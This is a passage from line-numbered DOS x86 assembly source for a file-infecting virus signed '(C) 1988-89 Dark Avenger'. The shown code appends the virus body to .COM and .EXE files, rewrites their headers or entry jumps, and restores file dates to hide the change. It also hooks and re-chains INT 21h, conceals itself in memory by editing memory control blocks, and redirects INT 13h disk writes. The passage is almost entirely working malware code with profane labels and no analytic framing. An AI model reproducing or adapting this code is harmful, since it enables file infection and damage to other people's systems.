  1519.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  1520.  
  1521.         adc     dx,0
  1522.  
  1523.         je      fuck_it
  1524.  
  1525.         ret
  1526.  
  1527.  
  1528.  
  1529. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  1530.  
  1531.  
  1532.  
  1533. fuck_exe:
  1534.  
  1535.         mov     dx,word ptr [top_save+18h]
  1536.  
  1537.         neg     dl
  1538.  
  1539.         and     dx,0fh
  1540.  
  1541.         xor     cx,cx
  1542.  
  1543.         mov     ax,4201h
  1544.  
  1545.         int     21h
  1546.  
  1547.         mov     word ptr [top_save+18h],ax
  1548.  
  1549.         mov     word ptr [top_save+1ah],dx
  1550.  
  1551. fuck_it:
  1552.  
  1553.         mov     ax,5700h                ;Get file's date
  1554.  
  1555.         int     21h
  1556.  
  1557.         pushf
  1558.  
  1559.         push    cx
  1560.  
  1561.         push    dx
  1562.  
  1563.         cmp     word ptr [top_save],5a4dh
  1564.  
  1565.         je      exe_file                ;Very clever, isn't it?
  1566.  
  1567.         mov     ax,100h
  1568.  
  1569.         jmp     short set_adr
  1570.  
  1571. exe_file:
  1572.  
  1573.         mov     ax,word ptr [top_save+14h]
  1574.  
  1575.         mov     dx,word ptr [top_save+16h]
  1576.  
  1577. set_adr:
  1578.  
  1579.         mov     di,offset call_adr
  1580.  
  1581.         stosw
  1582.  
  1583.         mov     ax,dx
  1584.  
  1585.         stosw
  1586.  
  1587.         mov     ax,word ptr [top_save+10h]
  1588.  
  1589.         stosw
  1590.  
  1591.         mov     ax,word ptr [top_save+0eh]
  1592.  
  1593.         stosw
  1594.  
  1595.         mov     si,offset top_save      ;This offers the possibilities to
  1596.  
  1597.         movsb                           ;some nasty programs to restore
  1598.  
  1599.         movsw                           ;exactly the original length
  1600.  
  1601.         xor     dx,dx                   ;of the .EXE files
  1602.  
  1603.         mov     cx,offset top_file
  1604.  
  1605.         mov     ah,40h
  1606.  
  1607.         int     21h                     ;Write the virus
  1608.  
  1609.         jc      go_no_fuck              ;(don't trace here)
  1610.  
  1611.         xor     cx,ax
  1612.  
  1613.         jnz     go_no_fuck
  1614.  
  1615.         mov     dx,cx
  1616.  
  1617.         mov     ax,4200h
  1618.  
  1619.         int     21h
  1620.  
  1621.         cmp     word ptr [top_save],5a4dh
  1622.  
  1623.         je      do_exe
  1624.  
  1625.         mov     byte ptr [top_save],0e9h
  1626.  
  1627.         mov     ax,word ptr [top_save+18h]
  1628.  
  1629.         add     ax,startup-copyright-3
  1630.  
  1631.         mov     word ptr [top_save+1],ax
  1632.  
  1633.         mov     cx,3
  1634.  
  1635.         jmp     short write_header
  1636.  
  1637. go_no_fuck:
  1638.  
  1639.         jmp     short no_fuck
  1640.  
  1641.  
  1642.  
  1643. ; Construct the .EXE file's header
  1644.  
  1645.  
  1646.  
  1647. do_exe:
  1648.  
  1649.         call    mul_hdr
  1650.  
  1651.         not     ax
  1652.  
  1653.         not     dx
  1654.  
  1655.         inc     ax
  1656.  
  1657.         jne     calc_offs
  1658.  
  1659.         inc     dx
  1660.  
  1661. calc_offs:
  1662.  
  1663.         add     ax,word ptr [top_save+18h]
  1664.  
  1665.         adc     dx,word ptr [top_save+1ah]
  1666.  
  1667.         mov     cx,10h
  1668.  
  1669.         div     cx
  1670.  
  1671.         mov     word ptr [top_save+14h],startup-copyright
  1672.  
  1673.         mov     word ptr [top_save+16h],ax
  1674.  
  1675.         add     ax,(offset top_file-offset copyright-1)/16+1
  1676.  
  1677.         mov     word ptr [top_save+0eh],ax
  1678.  
  1679.         mov     word ptr [top_save+10h],100h
  1680.  
  1681.         add     word ptr [top_save+18h],offset top_file
  1682.  
  1683.         adc     word ptr [top_save+1ah],0
  1684.  
  1685.         mov     ax,word ptr [top_save+18h]
  1686.  
  1687.         and     ax,1ffh
  1688.  
  1689.         mov     word ptr [top_save+2],ax
  1690.  
  1691.         pushf
  1692.  
  1693.         mov     ax,word ptr [top_save+19h]
  1694.  
  1695.         shr     byte ptr [top_save+1bh],1
  1696.  
  1697.         rcr     ax,1
  1698.  
  1699.         popf
  1700.  
  1701.         jz      update_len
  1702.  
  1703.         inc     ax
  1704.  
  1705. update_len:
  1706.  
  1707.         mov     word ptr [top_save+4],ax
  1708.  
  1709.         mov     cx,18h
  1710.  
  1711. write_header:
  1712.  
  1713.         mov     dx,offset top_save
  1714.  
  1715.         mov     ah,40h
  1716.  
  1717.         int     21h                     ;Write the file beginning
  1718.  
  1719. no_fuck:
  1720.  
  1721.         pop     dx
  1722.  
  1723.         pop     cx
  1724.  
  1725.         popf
  1726.  
  1727.         jc      stop_fuck
  1728.  
  1729.         mov     ax,5701h                ;Restore the original file date
  1730.  
  1731.         int     21h
  1732.  
  1733. stop_fuck:
  1734.  
  1735.         ret
  1736.  
  1737.  
  1738.  
  1739. ; The following is used by the INT 21h and INT 27h handlers in connection
  1740.  
  1741. ; to the program hiding in memory from those who don't need to see it.
  1742.  
  1743. ; The whole system is absurde and meaningless and it is also another source
  1744.  
  1745. ; for program conflicts.
  1746.  
  1747.  
  1748.  
  1749. alloc:
  1750.  
  1751.         push    ds
  1752.  
  1753.         call    get_chain
  1754.  
  1755.         mov     byte ptr ds:[0],'M'
  1756.  
  1757.         pop     ds
  1758.  
  1759.  
  1760.  
  1761. ; Assures that the program is the first one in the processes,
  1762.  
  1763. ; which have intercepted INT 21h (yet another source of conflicts).
  1764.  
  1765.  
  1766.  
  1767. ontop:
  1768.  
  1769.         push    ds
  1770.  
  1771.         push    ax
  1772.  
  1773.         push    bx
  1774.  
  1775.         push    dx
  1776.  
  1777.         xor     bx,bx
  1778.  
  1779.         mov     ds,bx
  1780.  
  1781.         lds     dx,ds:[21h*4]
  1782.  
  1783.         cmp     dx,offset int_21
  1784.  
  1785.         jne     search_segment
  1786.  
  1787.         mov     ax,ds
  1788.  
  1789.         mov     bx,cs
  1790.  
  1791.         cmp     ax,bx
  1792.  
  1793.         je      test_complete
  1794.  
  1795.  
  1796.  
  1797. ; Searches the segment of the sucker who has intercepted INT 21h, in
  1798.  
  1799. ; order to find where it has stored the old values and to replace them.
  1800.  
  1801. ; Nothing is done for INT 27h.
  1802.  
  1803.  
  1804.  
  1805.         xor     bx,bx
  1806.  
  1807. search_segment:
  1808.  
  1809.         mov     ax,[bx]
  1810.  
  1811.         cmp     ax,offset int_21
  1812.  
  1813.         jne     search_next
  1814.  
  1815.         mov     ax,cs
  1816.  
  1817.         cmp     ax,[bx+2]
  1818.  
  1819.         je      got_him
  1820.  
  1821. search_next:
  1822.  
  1823.         inc     bx
  1824.  
  1825.         jne     search_segment
  1826.  
  1827.         je      return_control
  1828.  
  1829. got_him:
  1830.  
  1831.         mov     ax,word ptr cs:[save_int_21]
  1832.  
  1833.         mov     [bx],ax
  1834.  
  1835.         mov     ax,word ptr cs:[save_int_21+2]
  1836.  
  1837.         mov     [bx+2],ax
  1838.  
  1839.         mov     word ptr cs:[save_int_21],dx
  1840.  
  1841.         mov     word ptr cs:[save_int_21+2],ds
  1842.  
  1843.         xor     bx,bx
  1844.  
  1845.  
  1846.  
  1847. ; Even if he has not saved them in the same segment, this won't help him.
  1848.  
  1849.  
  1850.  
  1851. return_control:
  1852.  
  1853.         mov     ds,bx
  1854.  
  1855.         mov     ds:[21h*4],offset int_21
  1856.  
  1857.         mov     ds:[21h*4+2],cs
  1858.  
  1859. test_complete:
  1860.  
  1861.         pop     dx
  1862.  
  1863.         pop     bx
  1864.  
  1865.         pop     ax
  1866.  
  1867.         pop     ds
  1868.  
  1869.         ret
  1870.  
  1871.  
  1872.  
  1873. ; Fetch the segment of the last MCB
  1874.  
  1875.  
  1876.  
  1877. get_chain:
  1878.  
  1879.         push    ax
  1880.  
  1881.         push    bx
  1882.  
  1883.         mov     ah,62h
  1884.  
  1885.         call    function
  1886.  
  1887.         mov     ax,cs
  1888.  
  1889.         dec     ax
  1890.  
  1891.         dec     bx
  1892.  
  1893. next_blk:
  1894.  
  1895.         mov     ds,bx
  1896.  
  1897.         stc
  1898.  
  1899.         adc     bx,ds:[3]
  1900.  
  1901.         cmp     bx,ax
  1902.  
  1903.         jc      next_blk
  1904.  
  1905.         pop     bx
  1906.  
  1907.         pop     ax
  1908.  
  1909.         ret
  1910.  
  1911.  
  1912.  
  1913. ; Multiply by 16
  1914.  
  1915.  
  1916.  
  1917. mul_hdr:
  1918.  
  1919.         mov     ax,word ptr [top_save+8]
  1920.  
  1921. mul_16:
  1922.  
  1923.         mov     dx,10h
  1924.  
  1925.         mul     dx
  1926.  
  1927.         ret
  1928.  
  1929.  
  1930.  
  1931.         db      'This program was written in the city of Sofia '
  1932.  
  1933.         db      '(C) 1988-89 Dark Avenger',0
  1934.  
  1935.  
  1936.  
  1937. ; INT 13h handler.
  1938.  
  1939. ; Calls the original vectors in BIOS, if it's a writing call
  1940.  
  1941.  
  1942.  
  1943. int_13:
  1944.  
  1945.         cmp     ah,3
  1946.  
  1947.         jnz     subfn_ok
  1948.  
  1949.         cmp     dl,80h
  1950.  
  1951.         jnc     hdisk
  1952.  
  1953.         db      0eah                    ;JMP XXXX:YYYY
  1954.  
  1955. my_size:                                ;--- Up to here comparison
  1956.  
  1957. disk:                                   ; with the original is made
  1958.  
  1959.         dd      0
  1960.  
  1961. hdisk:
  1962.  
  1963.         db      0eah                    ;JMP XXXX:YYYY
  1964.  
  1965. fdisk:
  1966.  
  1967.         dd      0
  1968.  
  1969. subfn_ok:
  1970.  
  1971.         db      0eah                    ;JMP XXXX:YYYY
  1972.  
  1973. save_int_13:
  1974.  
  1975.         dd      0
  1976.  
  1977. call_adr:
  1978.  
  1979.         dd      100h
  1980.  
  1981.  
  1982.  
  1983. stack_pointer:
  1984.  
  1985.         dd      0                       ;The original value of SS:SP
  1986.  
  1987. my_save:
  1988.  
  1989.         int     20h                     ;The original contents of the first
  1990.  
  1991.         nop                             ;3 bytes of the file
  1992.  
  1993. top_file:                               ;--- Up to here the code is written
  1994.  
  1995. filehndl    equ $                       ; in the files
  1996.  
  1997. filename    equ filehndl+2              ;Buffer for the name of the opened file
  1998.  
  1999. save_int_27 equ filename+65             ;Original INT 27h vector
  2000.  
  2001. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  2002.  
  2003. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  2004.  
  2005. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  2006.  
  2007. contains
  2008.  
  2009.                                         ; - The first 24 bytes read from file
  2010.  
  2011.                                         ; - File length (4 bytes)
  2012.  
  2013.                                         ; - The last bytes of the file
  2014.  
  2015.                                         ;   (my_size bytes)
  2016.  
  2017. top_bz      equ top_save-copyright
  2018.  
  2019. my_bz       equ my_size-copyright
  2020.  
  2021.  
  2022.  
  2023. code    ends
  2024.  
  2025.         end
  2026.  
  2027.